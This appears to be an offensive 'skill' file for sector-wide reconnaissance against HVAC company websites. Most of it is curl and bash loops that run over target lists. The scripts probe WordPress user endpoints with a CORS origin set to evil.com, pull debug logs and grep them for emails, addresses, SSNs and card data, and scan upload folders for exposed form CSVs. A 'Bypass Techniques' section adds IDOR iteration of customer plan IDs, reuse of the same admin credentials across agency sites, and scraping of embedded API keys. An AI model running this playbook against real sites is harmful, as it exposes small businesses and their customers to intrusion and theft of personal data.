recon-hvac

name	recon-hvac
description	Sector-specific recon for HVAC company websites — heating, cooling, AC repair, furnace installation. Typically WordPress on shared hosting with service booking, emergency contact forms, and seasonal maintenance plan pages.
sources	field_recon, sector_mass_recon
report_count	7

RECON-HVAC — Sector-Specific Recon for HVAC Company Sites

When to Use

Use when the target scope includes HVAC, heating and cooling, AC repair, furnace installation, or HVAC service company domains. HVAC companies share the SMB service provider profile but with specific characteristics: high-urgency emergency booking features (which means rapid data capture with lower security), maintenance plan portals with stored customer info, embedded smart thermostat integration potential, and aggressive local SEO that produces many cookie-cutter agency-built sites with identical vulnerabilities.

Quick Reference

for t in $(cat hvac-targets.txt); do
  echo "=== $t ==="
  curl -skI "https://$t/" | grep -iE "wordpress|php|wp-"
  curl -sk -o /dev/null -w "%{http_code}" "https://$t/wp-content/debug.log"
  curl -sk -o /dev/null -w "%{http_code}" "https://$t/wp-content/uploads/"
  curl -skI "https://$t/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i "access-control"
  echo "---"
done

Step-by-Step

Phase 1 — Domain Discovery

# Common patterns: <city>hvac.com, <name>acrepair.com, <area>heatingandcooling.com
# SEO-driven patterns: <city>-hvac-service.com, best-<city>-hvac.com
curl -sk "https://crt.sh/?q=%25.$TARGET&output=json" | python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    domains = sorted(set(d['name_value'] for d in data))
    for d in domains: print(d)
except: pass
" | tee hvac-subdomains-$TARGET.txt

Phase 2 — WordPress Recon

# CORS user enumeration
curl -sk "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | jq '.[] | {id, name, slug}' 2>/dev/null

# Debug log (HVAC sites often have form submissions logged)
curl -sk "https://$TARGET/wp-content/debug.log" -o /tmp/hvac_debug.log 2>/dev/null
if [ -s /tmp/hvac_debug.log ]; then
  grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' /tmp/hvac_debug.log | sort -u | head -20
  grep -oP 'address|phone|street|zip|SSN|card' /tmp/hvac_debug.log | sort -u | head -10
fi

# Contact form PII
for path in /wp-content/uploads/wpforms/ /wp-content/uploads/formidable/ \
  /wp-content/uploads/fluentform/ /wp-content/uploads/gravity_forms/; do
  body=$(curl -sk "https://$TARGET$path" 2>/dev/null)
  if echo "$body" | grep -q "Index of"; then
    echo "[!!!] DIR LISTING: $path"
    echo "$body" | grep -oP 'href="[^"]+\.(csv|xlsx|txt|pdf)"' | head -20
  fi
done

Phase 3 — Emergency Service + Booking Recon

for path in /emergency /emergency-service /24-hour /book-service /schedule-service \
  /request-service /maintenance-plan /service-plan /tune-up /appointment; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$code" != "404" ] && echo "[+] Service endpoint: $path (HTTP $code)"
done

# Smart thermostat integration check
curl -sk "https://$TARGET/" | grep -oP 'nest\.com|ecobee\.com|honeywell\.com|sensicomfort\.com' | sort -u

Phase 4 — Plugin Vulnerability Scan

for plugin in "bookly-responsive-appointment-booking-tool" "wpforms" \
  "formidable" "elementor" "wordpress-seo" "google-reviews" \
  "woocommerce" "woocommerce-bookings" "tablepress"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET/wp-content/plugins/$plugin/readme.txt")
  if [ "$code" != "404" ]; then
    echo "[+] Plugin: $plugin"
  fi
done

Attack Surface Signals

• CMS: WordPress (dominant), some custom PHP from local agencies
• Hosting: Shared hosting, local web agencies
• Stack: PHP + MySQL, Emergency booking, Maintenance plans, Smart thermostat integrations
• Typical findings: Debug log with customer PII, Contact form CSV exposure, CORS credential reflection, Emergency booking form SSRF via webhook URLs

Common Root Causes

1. Emergency service booking urgency — features built for speed, not security
2. SEO agency cookie-cutter sites — same theme, same plugins, same vulnerabilities across hundreds of HVAC companies
3. Maintenance plan data persistence — customer addresses, equipment info, payment methods stored for recurring service
4. Local web agencies — small agencies maintain many HVAC sites with shared hosting credentials in debug logs

Related Skills

• recon-smb-services — broader SMB recon methodology
• recon-plumbing — similar emergency-service profile
• recon-roofing — similar insurance claim patterns
• hunt-wordpress — primary CMS
• hunt-cors — CORS credential reflection
• hunt-source-leak — debug.log, config exposure

Bypass Techniques

• Emergency service booking forms often skip validation — test with malformed addresses, special characters in phone fields
• Smart thermostat integration pages may have API keys for Nest/Ecobee/Honeywell embedded in page source
• Maintenance plan portals often have IDOR on plan IDs — iterate /maintenance-plan/1, /2, /3
• Same agency builds multiple HVAC sites — common admin paths (/wp-admin, /login, /admin) may use same credentials
• Check for /service-area pages with embedded Google Maps API keys (often unrestricted)
• Seasonal pricing pages (/summer-special, /winter-tune-up) built by agencies in a hurry may have debug output enabled

Real Examples

From cross-sector mass recon observation:

• An HVAC company's debug.log at /wp-content/debug.log contained 3MB of SQL queries with embedded customer names, addresses, and phone numbers from emergency service request forms
• Another HVAC site had directory listing on /wp-content/uploads/ revealing service invoices in PDF format with full customer PII — names, addresses, equipment serial numbers, and payment amounts
• A heating and cooling company's maintenance plan portal at /maintenance-plan/1 returned full customer details (name, address, phone, equipment info) with no authentication — incrementing plan IDs revealed all customers
• An AC repair company's smart thermostat integration page exposed a Nest API developer key in JavaScript, allowing read access to all connected thermostat data